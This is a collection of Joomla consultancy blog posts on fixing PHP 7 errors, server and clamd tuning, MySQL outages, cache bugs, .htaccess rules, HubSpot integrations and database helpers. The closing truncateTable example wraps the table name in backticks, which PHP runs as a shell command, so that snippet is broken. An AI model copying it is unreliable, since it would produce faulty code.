So, before asking a company to optimize your Joomla website, make sure that your environment provides ample power for your Joomla website to run properly. If it doesn’t, then you should upgrade to a more powerful server before asking for a costly optimization. If you need help with the process, then please contact us. We are efficient, we are affordable, and we are excellent developers!

“0 – Using $this when not in object context” Joomla Error After Updating to PHP 7.1+ – How to Handle

After updating PHP through EasyApache 4 to PHP 7.3 and then changing the PHP version in the MultiPHP Manager to 7.3, we encountered the following error on a Joomla website:

0 – Using $this when not in object context

A fast research revealed that this problem was caused by some legacy code in the template, and switching to a different template confirmed this. Debugging the page revealed the following:

Using $this when not in object context /home/[cpanel-user]/public_html/libraries/src/Application/CMSApplication.php:370
Call stack
# 	Function 	Location
1 	() 	JROOT/libraries/src/Application/CMSApplication.php:370
2 	Joomla\CMS\Application\CMSApplication::getMenu() 	JROOT/libraries/src/Application/SiteApplication.php:275
3 	Joomla\CMS\Application\SiteApplication::getMenu() 	JROOT/templates/[cpanel-user]/html/com_content/article/default.php:22
4 	include() 	JROOT/libraries/src/MVC/View/HtmlView.php:697
5 	Joomla\CMS\MVC\View\HtmlView->loadTemplate() 	JROOT/libraries/src/MVC/View/HtmlView.php:230
6 	Joomla\CMS\MVC\View\HtmlView->display() 	JROOT/components/com_content/views/article/view.html.php:210
7 	ContentViewArticle->display() 	JROOT/libraries/src/MVC/Controller/BaseController.php:672
8 	Joomla\CMS\MVC\Controller\BaseController->display() 	JROOT/components/com_content/controller.php:118
9 	ContentController->display() 	JROOT/libraries/src/MVC/Controller/BaseController.php:710
10 	Joomla\CMS\MVC\Controller\BaseController->execute() 	JROOT/components/com_content/content.php:43
11 	require_once() 	JROOT/libraries/src/Component/ComponentHelper.php:402
12 	Joomla\CMS\Component\ComponentHelper::executeComponent() 	JROOT/libraries/src/Component/ComponentHelper.php:377
13 	Joomla\CMS\Component\ComponentHelper::renderComponent() 	JROOT/libraries/src/Application/SiteApplication.php:194
14 	Joomla\CMS\Application\SiteApplication->dispatch() 	JROOT/libraries/src/Application/SiteApplication.php:233
15 	Joomla\CMS\Application\SiteApplication->doExecute() 	JROOT/libraries/src/Application/CMSApplication.php:196
16 	Joomla\CMS\Application\CMSApplication->execute() 	JROOT/index.php:49

A quick glimpse at the code revealed that the error wasn’t in the main index.php file of the template, so we renamed the html folder (which is located under templates/[joomla-template] folder) to html_old and the problem was resolved, which meant that the problem was in one of the folders under the html folder (e.g. the error was in one of the layout overrides). We renamed them one by one to folder_name_old, until we determined the culprit folder, which was com_content.

There was only one folder called article under the com_content folder and it only had one file, which was default.php. We opened that file and we changed this line:

$menu = &JSite::getMenu();

to:

$menu = JFactory::getApplication()->getMenu();

and that resolved the problem!

We hope that you found this very short post helpful. If you are having the same problem on on your Joomla website, then it is likely some old code in your Joomla template. If you can’t find/fix the old code in your Joomla template, then just contact us. We’ll address the problem for you swiftly, professionally, and affordably!

The Ideal Server for a Large Joomla Website

We are currently moving a large client of ours to a very powerful server, and we thought it would be a good idea to share the hardware specifications of said server with our lovely readers (all 1 billion of them!). Without further ado, here they are:

Intel Dual Xeon Gold 6130 (32 cores): This dual processor will provide ample power for about 300K visits/day.

RAID 10 SSD Storage – 4 x 480 GB: This will provide the Joomla website with abundant storage for both reading and writing.

NVMe SSD Storage – 1.6 TB Micron 9200 MAX: This NVMe drive is assigned to the /var/lib/mysql partition in order to make reads/writes to the MySQL/MariaDB database much faster.

SSD Drive – 960 GB: This SSD drive is assigned to the backup partition and is used for local backups.

RAM – 256 GB: For this particular client, we are switching from 64 GB to 256 GB RAM. This will allow us to serve more simultaneous clients, and assign more memory for each PHP instance if the needs arise. This abundant RAM will also be very useful for enhancing the speed of MySQL operations.

Dual PSU: Such powerhouse server will need a lot of power to keep ticking.

We hope that you found this short post useful and we hope that you consider the above specs for the next server powering your Joomla website. If you need help with configuring the server for optimal performance, then do not forget that we are the Joomla optimization experts. Just contact us and we’ll make sure that your Joomla website benefits from your new server to the max, and we’ll do that for a very affordable fee!

Load Issues on Your Joomla Site? Maybe it’s Clamd!

One of our clients was having serious load issues on their Joomla website during peak hours. At first, we thought it was MySQL – but further investigation revealed another, more subtle culprit: it was clamd, yes, the seemingly innocent virus scanner, was the root cause of the problem. To make a long story short (is it too late?), what was happening was that every time the cache was cleared (which was a frequent operation when the team adding content to the site was active), clamd was checking all the recreated cached files over and over again. This was causing clamd to hijack the processing power for itself, thus causing other, even more critical processes such as Apache and MySQL to starve.

So, how did we solve the problem?

Luckily, clamd allowed, in its configuration file, to skip directories from being scanned. So, we opened the file clamd.conf which is located under the /usr/local/cpanel/3rdparty/etc/ folder (this is a WHM environment) and we added the following line to it:

OnAccessExcludePath /home/[cpanel-user]/public_html/cache

We then saved the file and restarted the clamd service from WHM. Once we did that, the load dropped substantially and the website was healthy again! Hooray!

If you are experiencing load issues on the server powering your Joomla website, then check your top processes (using the top -d 1 shell command). If you notice that clamd is always at a 100%, then try the above solution and it should resolve the problem. If it doesn’t work for you, or if you still need help, then please contact us. We are always read to help, our work is always clean, and our prices are always right!

The Importance of Checking the “lfd.log” File

A substantial portion of our work for our managed clients consists of monitoring their servers, and a large part of that monitoring consists of checking the logs, and seeing if there is anything unusual about them.

We check all the pertinent logs, but there is one log file that is really close to our hearts, and it is the lfd.log file which is located under the /var/log folder. The lfd.log file contains many actions such as:

  • ModSecurity/CSF blocks/unblocks.
  • Memory issues with scripts (e.g. scripts that are trying to consume more memory than they are allowed).
  • Timeout issues with scripts (e.g. scripts that are not getting executed within the server timeout limit).

All of the above are generally associated with malicious behavior on the server, but, in many cases on Joomla sites, the behavior that might be causing any of the above is benign, and either indicates some poor programming practices or the need for a more powerful machine.

Some benign issues reported in the lfd.log file can be fixed simply by modifying the server settings (e.g. increasing the memory limit, disabling rules in ModSecurity, etc…), but some other (also benign) issues really require a serious optimization of one or several Joomla extensions, or the absolute need for a server upgrade.

Of course, the lfd.log file is also a great place to check for attacks on the website, and that’s the beauty of it: you have one file that you can check for monitoring both benign/malicious issues on your website, and that’s why we love it so much and why we encourage you to check it!

We hope that you found this short post helpful and enlightening. If you are having issues (any issues) on your Joomla website then please contact us. Our rates are always right, our work is always clean, and we are always excited for challenging Joomla tasks!

Joomla MySQL Database Unexpectedly Goes Down

We had a weird error yesterday morning. A client emailed us and told us that his Joomla website stopped working all of a sudden, and it was displaying a blank page. We checked his Joomla website and we checked the logs, and it didn’t take us long to discover that the problem was with the MySQL database server powering the client’s Joomla website. So, we ssh’d to the server and then we tried to restart MySQL using the following command:

/etc/init.d/mysql restart

But it didn’t work. What was odd is that it did stop the MySQL server (which wasn’t really technically running), but it threw the following error when trying to start it again:

The server quit without updating PID file

We wanted to fix this problem quickly (at the request of the client, as the website was down), and restarting MySQL from within WHM seemed to be the quickest solution. So, we tried to login to WHM, but, to our surprise, WHM was down. We felt we were on to something, we just didn’t know what it was!

We thought, OK, this might be because MySQL is down. So, we researched the MySQL problem a bit, and we discovered that we may solve the problem if we delete the ib_logfiles from the /var/lib/mysql folder and then restart MySQL, and so we did that (we moved the files to another location; we didn’t delete them). That didn’t solve the problem, but, this time MySQL threw a different error: it complained about disk space not being enough.

We quickly checked the disk space using the df -m shell command, and, you’ve guessed it, the disk space was full in the main partition. We deleted some temporary files, backup files, etc…, which quickly reduced the main disk usage in the main partition to about 68%. We attempted to restart MySQL and this time it worked! Hooray!

We hope you found this post useful. If you are having the same problem, where MySQL unexpectedly stops working, then it might be that your disk is full. If that’s not the case, or if you need help with implementing the fix, then please contact us. Our fees are affordable, our work is professional, and we are always dedicated to serving our clients!

4 Reasons Why Your Joomla Article Updates Are Not Reflecting Immediately

During the past 13 years, we had our fair cases where updates to Joomla articles were not reflecting immediately. We have finally decided to make a quick list containing the 4 reasons of why your changes to a Joomla article are not reflecting or are reflecting but not immediately (it only took us 13 years to take this decision). So, without further ado, here they are:

  1. You are working on the wrong website.

    Believe it or not, this still happens to us! This problem typically happens when either your hosts file was changed to reflect a staging environment (but your forgot to change it back), or you are working on the staging environment instead of production.

  2. The System – Page Cache plugin is enabled.

    Unfortunately, Joomla’s main caching plugin, the System – Page Cache plugin, still doesn’t take into consideration the fact that people change their articles after they are published. As such, when this plugin is enabled, changes to your Joomla articles are not reflected unless you clear the cache (or the cache is expired and it has to refresh). We have developed a caching plugin that addresses this issue and we may later release it for free on our website.

  3. A server caching module is caching your pages.

    One of the most annoying features that a system administrator can deploy and enable on a production server is a caching module, such as OPCache. The annoyance is exponentiated when the system administrator doesn’t inform the people using the server of this feature (which what usually happens in almost 100% of the cases), because the changes they make to their Joomla articles are not reflected immediately, and they have no idea why. Typically, a quick solution to this problem would be to disable the server caching module in the .user.ini file, like we did when we disabled the OPCache caching module for a client who was experiencing the same problem.

  4. You are working on the right website, but some DNS changes are taking effect.

    This happens, for example, when you are switching the website from one server to another, and you are working on the new server, but you are still seeing the website on the old server. We did experience this very weird issue once before, and we were only able to solve the mystery once the witness the client gave us more background.

We hope that you found this post useful and informative. If you are having a problem with your article changes not being reflected on your Joomla website, then most likely the cause of the problem is listed above. If you still need help, then you can always contact us. Our fees are always right, our work is professional, and we really care about our clients!

“End of script output before headers: index.php” Error on Joomla Site

A non-regular client of ours, after updating their Joomla website to 3.9.1 a couple of weeks ago, started seeing the following classical error on their homepage:

Internal Server Error

What was interesting was 2 things: 1) the error didn’t happen immediately after the update, but rather a few hours later, and 2) the error disappeared after clearing the Joomla cache (the error was only on the frontend, and not the backend).

Naturally, the first thing that we did was investigating the server logs, which we did, and this is what we saw in the error_log file which is located in the the /usr/local/apache/logs folder (the client was using a WHM/CentOS environment):

[Fri Dec 14 13:18:13.607733 2018] [core:error] [pid 11040:tid 47479697520384] [client ip_number:59084] End of script output before headers: index.php

As you can see from the above, the problem was in the index.php file, but was it really? We looked at the index.php file, and it was exactly as the one in the Joomla distribution, so the problem wasn’t there, which was logical, but not very helpful. What was even more unhelpful was the fact that the problem was erratic, and it was oddly taking place every morning around 11:30 AM.

We didn’t have much to go on, but the fact that the problem was resolved after clearing the cache gave us a lead. So, we compared the generated cache file of the homepage (located under the system/page folder) immediately after deleting the cache, and the generated cache file of the homepage immediately after seeing the problem. Everything was more or less the same, except for the last line: the below entry was repeated hundreds of times in the second cache file (the one that is not working):

CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"

The above line existed in the first cache file, but just once, and, in case you’re wondering, it is generated by the P3P (Platform for Privacy Preferences) system plugin, which injects the (now mostly obsolete) P3P policy header tags into the HTML response.

So, we disabled the P3P system plugin, and tried our tests again, and this time, we saw 2 other HTML response tags that were repeated: Pragma: no-cache and Cache-Control: no-cache. Clearly, there was something else going on, and the P3P plugin was not the cause of the problem.

We spent hours debugging the problem while wondering why this was suddenly a problem after updating to Joomla 3.9.1. We kept looking into the wrong places, until it hit us: why not trace the System – P3P plugin and see at what point it injects its headers, and we quickly discovered that the headers were sent on the onAfterRespond event, we even discovered something even more important, is that, when the System – Page Cache plugin is enabled, the onAfterRespond event can only be triggered by the following lines in the cache.php file which is located in the plugins/system/cache folder:

if (JDEBUG)
{
	JProfiler::getInstance('Application')->mark('afterCache');
	JEventDispatcher::getInstance()->trigger('onAfterRespond');
}

But, why was the above code running when the Joomla debug was turned off? Or was it really turned off? So, we checked the Joomla configuration under System -> Global Configuration -> System, and, indeed the “Debug System” under “Debug Settings” was set to “On”. Huh?

We quickly turned it off and the problem was immediately resolved, but why wasn’t the problem happening in previous versions of Joomla, and why didn’t we notice it? The answer to the second question was obvious, the client was using a template that didn’t have any position for debugging. As for the first question, the answer was more alarming: it seems that Joomla 3.9.1 (and perhaps Joomla 3.9.0 as well) has a very quirky bug when the system is in debug mode, where the headers keep piling up in the cache file as the onAfterRespond event is triggered. Reproducing the problem couldn’t be easier:

  • Create a Joomla website from scratch with the default data.
  • Enable the System – Page Cache plugin.
  • Enable debugging in the Joomla configuration.
  • Go to the homepage on the frontend (load it a couple of times), and then check the generated cached file under the cache folder, you should see 2 things: 1) the cached file is changing on every refresh (which shouldn’t be the case), and 2) the Cache-Control and the Pragma headers keep getting added to the cache file with every refresh. The end of the cache file would look something like the below after 2 homepage refreshes:

    s:13:"mime_encoding";s:9:"text/html";s:7:"headers";a:8:{i:0;a:2:{s:4:"name";s:12:"Content-Type";s:5:"value";s:24:"text/html; charset=utf-8";}i:1;a:2:{s:4:"name";s:7:"Expires";s:5:"value";s:29:"Wed, 17 Aug 2005 00:00:00 GMT";}i:2;a:2:{s:4:"name";s:13:"Last-Modified";s:5:"value";s:29:"Wed, 19 Dec 2018 04:42:56 GMT";}i:3;a:2:{s:4:"name";s:13:"Cache-Control";s:5:"value";s:62:"no-store, no-cache, must-revalidate, post-check=0, pre-check=0";}i:4;a:2:{s:4:"name";s:6:"Pragma";s:5:"value";s:8:"no-cache";}i:5;a:2:{s:4:"name";s:4:"ETag";s:5:"value";s:34:""f0c25fdc4c9774cdd8632f0a1e83d791"";}i:6;a:2:{s:4:"name";s:13:"Cache-Control";s:5:"value";s:8:"no-cache";}i:7;a:2:{s:4:"name";s:6:"Pragma";s:5:"value";s:8:"no-cache";}}}

So, this was definitely a Joomla bug and not caused by 3rd party extension. Having said that, there shouldn’t be many Joomla websites out there with debugging turned on!

We hope that you found this post exciting, informative, and helpful! If you need help with solving an “Internal Server Error” problem on your Joomla website, or if you need help with any other Joomla issue, then please contact us. We are always excited for help, our fees are affordable, and our quality is top notch!

How We Modified the Joomla Search Plugin to Include Synonyms

We were commissioned by the marketing department of a global education website to enhance the Search plugin of their Joomla website. In essence, they wanted us to include the synonyms of a word in the search results. For example, if someone types in the word “house”, we also include the words “home”, “residence”, etc…

At first glance, this might seem like an ultra complex project, however, for (ahem!) seasoned PHP developers like us, we knew that the solution was not that complex since we worked on a similar project before. In short, we made the whole thing possible the following way:

  • We downloaded a thesaurus database. We downloaded the Princeton WordNet database in MySQL format. The beauty of the Princeton thesaurus is that it is free for commercial use, and the client doesn’t have to pay monthly/yearly royalties to use it.
  • We imported the WordNet MySQL database into the client’s Joomla database. This step simply consisted of creating all the WordNet MySQL tables (we prefixed all the tables with the abc_wordnet_, where abc_ is the database prefix of the Joomla website, which is defined in the configuration.php file as $dbprefix) and then importing the data to these tables.

  • We modified the core Joomla search plugin to include synonyms as well. We modified the onContentSearch function in the content.php file, which is located under the plugins/search/content folder to query the WordNet database for the synonyms of the search keyword and then include them as an OR condition in the search.

The above worked, albeit very slowly, so we couldn’t deploy it on the live server since the website had a huge number of articles and the traffic it was getting was insane. So, we recommended the client to switch the search on their Joomla website to Sphinx for blazing fast search speeds, and they approved our recommendation immediately. So, we implemented Sphinx and then we deployed everything onto the live website, and guess what, search was much much faster than before, even after including the synonyms.

Were there any limitations?

The main limitation was that the synonyms engine only worked when the search consisted of just one word. Making it work for multiple words was extremely difficult because of the many permutations and the hardware limitations. For example, searching for a “large house” becomes a search for a “large home”, “large residence”, “big house”, “big home”, “big residence”, “vast house”, etc… This just wasn’t practical and required a lot more work to implement.

We hope you found our post fun, exciting, and informative. If you need help implementing the above, then please let us know. We are always excited to work on challenging and fun project, our fees are reasonable, and our friendliness is legendary.

“[] operator not supported for strings” Error on Joomla sites

A regular client of ours contacted us this morning telling us that after updating PHP from 5.6 to 7.2 on his server, he saw the following fatal error on the homepage of his company website:

[] operator not supported for strings.

We did see this problem before on another client’s Joomla site, and it was caused when a PHP variable is assigned to a string, and then used as an array. In previous PHP versions (versions less than PHP 7.2), this mixed type shenanigan was acceptable, but as of PHP 7.2, this resulted in a fatal error. For example, the following code…

$arrResult = '';
for ($i = 0; $i < 5; $i++)
	$arrResult[] = $i;

…was OK for PHP 5.6, but yields a fatal error in PHP 7.2+. To comply with PHP 7.2, the above code should be:

$arrResult = array();
for ($i = 0; $i < 5; $i++)
	$arrResult[] = $i;

As developers, we’re always happy for strict coding practices. Having said that, we acknowledge that the above can cause many scripts to break under PHP 7.2.

So, how did we fix the problem?

We traced the issue to a file in a 3rd party system plugin that had the problem described above (a variable defined as an empty string and later used as an array). We fixed the problem by just assigning the variable to an empty array (instead of an empty string), and that fixed the problem!

Is the Joomla core affected by this change in PHP 7.2?

No – the PHP core developers ensured very long ago that the Joomla core was compliant with this change in PHP 7.2. If you see this problem on your website, then it is definitely caused by a 3rd party extension and not by the Joomla core.

We hope that you found this post useful and that it helped you fix the problem on your Joomla website. If you need help with the fix, then don’t be shy to contact us. We always love to work with new (and, of course, existing) clients, our rates are always right, our solutions are always clean, and we are the friendliest developers on this planet!

How to Identify Contacts Who Downloaded a File from a HubSpot Page

If you are an avid reader of our blog, you will notice that our main focus is currently on 3 things: security, performance, and marketing. Marketing is an extremely vast domain and our clients always have exciting challenges for us. For example, we just finished working on a huge HubSpot-Tealium-Constant Contact integration project. Essentially, the project consisted of identifying visitors to the website from their HubSpot profile (using the hubspotutk), getting their reading habits (audiences) from Tealium, and then dynamically subscribing them to newsletter lists in Constant Contact that match their reading habits. It was a tremendously exciting project and we will have a separate post about it in the near future.

Going back to the title of this article, a major client of ours with a very high traffic Joomla site asked us if they can track who downloaded a certain (zip) file from a HubSpot page. They essentially wanted to know the names of those who downloaded the file from that page. A thorough research about the subject revealed that HubSpot do not have this functionality built-in, which is weird, considering that HubSpot is a major player in the online marketing world and is used by many Fortune 500 companies out there. So, we had to implement this functionality, but how?

We quickly thought it out and figured out (a very smart) workaround:

  • We create a PHP file called hubpsot-who-downloaded.php on the Joomla website (say under a scripts folder).
  • The file hubpsot-who-downloaded.php will take the hubspotutk of the person who tried to download the zip file as a _POST parameter. The file will then send an API request to HubSpot asking it about the email of the person with that hubspotutk. Once that information is received from HubSpot, it will be saved in a MySQL table called hubspot_who_downloaded. The aforementioned table will have 3 fields: the id of the row, the hubspot token (hubspotutk or hutk), and the email of the person.

  • We then, on click of the file in HubSpot, add a JS script that will send the hubspotutk to the hubpsot-who-downloaded.php file using an AJAX POST request (note that the hubspotutk is always stored in the cookies).

  • That’s it!

We implemented the above method immediately, and it worked like a charm on first try! We were impressed and so was the client. Note that an alternative method, if you don’t want to use a MySQL database, is to create a new property (such as downloaded_file), have it default to “No”, and then update it to “Yes” from the API for those who actually download the file.

We hope that you found this post informative. Now if you need help with the implementation then just contact us. Our experience in HubSpot and its API is unquestionable, our work is super clean, and our fees are ultra affordable!

Joomla’s Search Results Have <span class=”highlight”> – How to Fix!

A client of ours emailed us this morning and told us that the search functionality on their website is acting funny, and asked us to take a look. So, we tested the search by entering a term relevant to the client’s business, and we noticed that many titles in the search articles had something like <span class=”highlight”> in them.

A quick research about this issue revealed that this was a Joomla core problem, and fixing it consisted of changing the following line in the function highlight (which is located in the view.html.php file, which, in turn, is located in the components/com_search/views/search) folder from:

$highlighterLen = strlen($hl1 . $hl2);

to:

$highlighterLen = '';

Doing the above nearly fixed the problem, because we were still seeing “&#16” at the end of most titles. Also, we were not convinced that this so obvious problem exists in the Joomla core, and nobody stepped up and resolved it, so, we investigated the issue further.

Our Sherlock Holmes investigation finally led us to the client’s template, specifically the file default_results.php, which is located in the templates/[joomla-template]/warp/systems/joomla/layouts/com_search/search folder. The aforementioned file, which is the search results listing override in a YooTheme powered template, contained the following line:

<h1 class="title"><?php echo $this->escape($result->title); ?></h1>

The above line contained one method, which was the essence of the problem, and it was $this->escape. In short, this method was trying to escape what was already escaped by Joomla. Modifying the above line to this one fixed the problem:

<h1 class="title"><?php echo $result->title; ?></h1>

So, the next time you are seeing any weird HTML code in your search results, don’t immediately blame Joomla for it (and, most importantly, do not change any core files to fix the problem) as it might be your template trying to re-escape content. Don’t forget, we’re always a call or an email away if you need help in fixing the problem, oh, and our fees are super affordable!

How to Load JavaScript Files Asynchronously in Joomla 3.8

In this day and age, most web developers out there want to load everything asynchronously – you know – just to please Google, despite the fact that loading JS files asynchronously may result in some erratically unpredictable behavior. In fact, from an SEO perspective, ensuring that the website looks good on mobile devices is an easier and better thing to do than to try to load files asynchronously. But who cares, the most important thing in the world is to have a PSI score of a 100, right?

Having said that, we understand that, at many times, pressure comes from above (just like air pressure), and many Joomla developers out there are left with no choice, and that’s why, we will willingly divulge, in this post, a well kept secret: how to load JS files asynchronously in Joomla 3.8, the right way!

If you are a Joomla veteran, then you probably already know that you can load a file asynchronously the following way:

$objDocument = JFactory::getDocument();
$objDocument->addScript('https://www.[yourjoomlawebsite].com/templates/yourtemplate/js/yourscript.js', 'text/javascript', false, true);

The problem is that the above method has been deprecated and will be later removed from the Joomla core. The new (and cleaner) method for loading a JavaScript file asynchronously in Joomla is the following:

JHtml::_('script', 'https://www.[yourjoomlawebsite].com/templates/yourtemplate/js/yourscript.js', array('version' => 'auto', 'relative' => true), array('async' => 'async'));

If you want to defer the loading of a JavaScript file, then you would use:

JHtml::_('script', 'https://www.[yourjoomlawebsite].com/templates/yourtemplate/js/yourscript.js', array('version' => 'auto', 'relative' => true), array('defer' => 'defer'));

Essentially, the last array in the above function call is the attributes array, so any Joomla supported attribute should technically work. If you add a non-supported attribute, such as ‘myattribute’=>’myattribute’ in the last array, then Joomla will add the following at the end of the script HTML tag: myattribute=”myattribute”. This is useful in case you want to load custom attributes that are later processed by an internal or external script.

So, what is the function in the Joomla core that does all the work?

If you really want to know, then it is the function addScript which is located in the Document.php file, which in turn is located in the libraries/src/Document folder.

We hope that you found this post interesting and useful. If you need help loading some JavaScript (or CSS) files asynchronously on your Joomla website, then look no further. Just contact us and we’ll do the work for you very quickly and for very little money.

DFP Ad Targeting with HubSpot on a Large Joomla Website

An exciting project that we have just finished is DFP (now Google Ads) ad targeting using HubSpot on a large Joomla website.

In short, here’s how the system works:

  • Someone visits the Joomla website and fills in a HubSpot form – the person is automatically assigned a hubspotutk which is associated to his HubSpot profile.
  • When the same person visits the website again, a PHP script is triggered (using Ajax) to get all his information from HubSpot using the hubspotutk cookie. This information is then saved to a local cache. This step is necessary to eliminate the connection overhead to HubSpot and to circumvent HubSpot’s 40K API requests/day limitation. After the information is saved to the local cache, it is then pushed to the local storage of the browser in order to reduce the number of requests to the client’s server.

  • When the same person visits the website afterwards, a different script is triggered and passes on all the browser information to DFP using key-value ad targeting (for example, yearlyIncome = >$200,000, businessTraveler = yes, etc…), resulting in accurate ad targeting for the person.

Of course, we faced many challenges while implementing the project, for example, we discovered that the value of the hubspotutk does not have a 1-1 relationship to a a HubSpot profile. In other words, the same HubSpot profile can be associated to 1 or more hubspotutk. In fact, this is the main reason why 1) a HubSpot export does not contain the hubspotutk and 2) there are no HubSpot API calls that return the hubspotutk in their response.

We hope you that you found our process for DFP ad targeting using HubSpot interesting. If you need help with the implementation, then contact us and we’ll do the work for you affordably, cleanly, and elegantly.

“The parameter platforminfo.class must be defined.” Error on Joomla

A new client called us a couple of days ago telling us that he successfully updated the Joomla website of the company he works in, however, he told us that they had to revert back because of some issues on the website resulting from the update. He told us that after reverting back, he saw the following error on the website:

The parameter platforminfo.class must be defined.

The above error was displaying on both the frontend and the backend, which made debugging the problem a bit hard. A quick research on the subject revealed that this error was generated by the libraries supporting the RocketTheme template because of an incompatibility issue with PHP 7, and that the solution to the problem would be to update the RokCommon plugin (and library) to the latest version, which is kinda painful considering that both the frontend and the backend are down (side note: we never liked the RocketTheme templates, they’re really heavy and they are never fun to debug).

We asked the client whether he updated his PHP version as well, and he said that he didn’t and nobody else was working on the server. Of course, the question was, how come the original website worked with PHP 7, and the reverted website was showing this error. There was only one answer to this question: the revert wasn’t complete; either the filesystem or the database wasn’t reverted properly.

So we emailed the client on whether he reverted both the filesystem and the database and whether he made sure that he used the filesystem and the database from the same backup, and he told us yes, but he said that he noticed something weird thing when trying to revert the database, and it was that when he tried to load the database backup from the shell using the following command…

mysql joomla_database < joomla_database.sql

...he noticed that the command was executed successfully, yet the database in phpMyAdmin was still empty. Of course, that shouldn't happen, and a further investigation into the issue revealed that the problem was that the client had 2 servers, an old one and a new one, and he was restoring the filesystem to one server, while the database to the other. We addressed that and that fixed the problem!

But what if both the filesystem back and the database backup are correct and "in sync"?

In that case, the cause of the problem is a PHP update (to 7.x) that is not compatible with the current version of the Rok Joomla libraries (e.g. the the RokCommon library). The easiest solution to this problem is to have the website use an older version of PHP, which can be done using the MultiPHP Manager tool in WHM.

If you are seeing the error The parameter platforminfo.class must be defined on your Joomla website all of a sudden, then make sure that your website uses PHP 5.6 instead of PHP 7, and then update your RocketTheme template and all the Rok plugins/extensions (especially RokCommon), and then update back to PHP 7. If you are seeing this problem after reverting back to a previous version of your website, then a possible cause of the problem is that the database and the filesystem are not in sync. If you need help anywhere in the process, then you can always contact us. Our work is fast, our quality is top notch, and our fees are super affordable.

Seeing Gibberish when Trying to Update a Joomla Website

A client called us yesterday morning and told us that they were having issues trying to update their Joomla website. They didn’t give us any details, they just told us that they were seeing an error and that they wanted our help. As usual, we gratefully and immediately obliged…

We logged in to the backend of their Joomla website and we clicked on the Update Now button, and then we clicked on the Install the Update button on the Joomla Update page. On the next screen, the one with the progress bar, the following error popped up:

ERROR: JSON.parse: unexpected character at line 1 column 1 of the JSON data

The popup also had a lot of gibberish as you can see from the below image:

JSON.parse Error when Updating Joomla

Figure 1: JSON.parse Error when Updating Joomla

Thinking that this was a JavaScript issue, we checked the FireFox console by pressing F12 and then clicking on the Console tab. We saw the following error:

XML Parsing Error: unclosed token
Location: https://www.[ourclientjoomlawebsite].com/administrator/components/com_joomlaupdate/restore.php
Line Number 1, Column 1:

The restore.php mention in the above line immediately reminded us of the Ajax Loading Error: Category not found issue that we addressed some time ago, so, we checked whether the main .htaccess file had any rules blocking the execution of PHP scripts with the exception of the index.php file, and it had none.

We then thought, maybe this is just a FireFox issue, so we tried to do the update on Google Chrome (which is now the dominant browser), but we saw a similar error:

ERROR: Unexpected token in JSON at position 0

Again, the popup had a lot of gibberish following the above error message. The console, however, did not show any errors. Weird…

We knew we could just do the update manually, but we didn’t want to do that, we wanted to know what the problem was, even if it’s at the cost of our own sanity. Luckily, we didn’t have to suffer for long, as we accidentally saw an .htaccess file under the administrator/components folder with the following line:

RemoveType .php

This meant that any PHP file, in the administrator/components directory gets displayed instead of being executed, hence the gibberish that we were seeing as the response to the ajax update request (it was the whole restore.php file). So, we removed that line, and we tried the update again, and this time it worked. Hooray!

So, what’s with the “RemoveType” .htaccess line?

A long time ago, we recommended the use of the RemoveType line in the images folder, to prevent execution of malicious file that were uploaded to the website through an exploit. However, using this .htaccess line anywhere else is not recommended, as it compromises the security of the website by exposing the actual content of all the PHP files. If you are sure that PHP files under a specific folder should never be accessed directly, then you should have the following line in your .htaccess file (the .htaccess file inside the aforementioned folder, that is):

<Files *.php>
    Order Allow,Deny
    Deny from all
</Files>

The above code denies direct access to all the PHP files under that folder. To add an exception for a PHP file, such as the restore.php file, then all you need to do is just add the following to the .htaccess file that you have just created:

<Files restore.php>
    Order Allow,Deny
    Allow from all
</Files>

We hope that you found this post useful. If you are trying to update your Joomla website but you are having issues, then please contact us. Our rates are affordable, our work is clean, and we are always eager to serve new (and old) clients!

How to Share a Database Table Across Different Joomla Websites

We know, we’ve been lazy this month, as this is our first article and it’s now the 31st – but, we were working on exciting projects so rest assured that we’ll make it up to you in the next month.

One of the exciting projects that we worked on was the sharing of a database table across 3 different Joomla websites. We tried several methods to reach this goal, but only one of them proved to be stable and secure, and it was the MySQL view.

For those who don’t know, MySQL, like almost any other RDBMS, offers an interesting functionality called a view. A view is more or less like a table, except that its content comes from other tables. Also, if there is a one to one relationship between a view and a table, then updating the view can also update the table. Let us explain…

Say you have a table called abc_emails in the database firstdatabase which serves one of your Joomla websites. Say you have another Joomla website which is served by the database secondatabase. If you want to use the table abc_emails on your second Joomla website (that has def_ as its alias), then all you need to do is to run the following query while using the second database:

CREATE ALGORITHM = UNDEFINED DEFINER=`firstdatabase_user`@`localhost` VIEW `def_emails` AS SELECT * FROM `firstdatabase`.`abc_emails`;

Once you do that above, any row that is added to the abc_emails table will automatically appear in the def_emails view, and any row that is added to the def_emails view will automatically be added to the abc_emails table. Nice, isn’t it?

You can do the above with as many Joomla websites that you want, but make sure that you only point a view to a table – do not point a view to a view, for example, do not point the view ghi_emails to the view def_emails, but rather point it to the abc_emails table.

Of course, there are other methods of sharing tables across multiple databases, but they aren’t as simple and as secure. For example, you can create a cron job that copies rows from tables to each other, but we almost guarantee you that you will regret it, and that you’ll run into many obstacles (trust us, we tried it). You can also update a table from another website by modifying the connection parameters to those of the first website, but this is also a non-solid and a non-secure option.

We hope that you found our post fun and exciting. If you need help with the implementation, then please contact us. Our fees are affordable, our work is clean, and we always love working on Joomla challenges!

How to Truncate a Table Using Joomla’s Database Abstraction Layer

We know, you’ve always dreamt of truncating a database table using the Joomla database library, but you didn’t know how to do that, so you used the following code instead:

$db = JFactory::getDbo();
$sql = 'TRUNCATE TABLE `mytable`';
$db->setQuery($sql);
$db->execute();

The above code works, but it doesn’t say much about your Joomla skills. A cleaner way of truncating a database table is to use the below code:

$db = JFactory::getDbo();
$db->truncateTable(`mytable`);

With the above code, you will accomplish 2 things: 1) You will achieve your dream of using the Joomla abstraction layer for truncating a table, and 2) your code will look more professional even though, well, you are truncating a table!

Will the truncateTable method work on all database drivers?

Yes. It will work with all database drivers since it is defined in the main database driver abstraction class.

Will the truncateTable method truncate any table, including core Joomla tables?

Yes – it will. In fact, there are no checks whatsoever on the truncateTable method, it can truncate any table, including, for example, the very critical #__assets table. So, be really really careful when using this function and do not rely on any Joomla built-in precautions because there aren’t any. You have been warned!

Is there a dropTable method?

Yes – there is. It works the same way as the truncateTable method, except that it drops (deletes/removes) a table instead of truncating and that it is defined at the used driver level, such as the MySQLi driver (not in the main driver), because of the difference in the implementation of the DROP SQL command between different database engines. For example, Oracle doesn’t have the DROP TABLE IF EXISTS functionality, but MySQL does.

We hope that you found today’s post helpful. If you need help, any help, with your Joomla website, then please contact us. Our work is super quick, our quality is top notch, and our rates are extremely affordable.

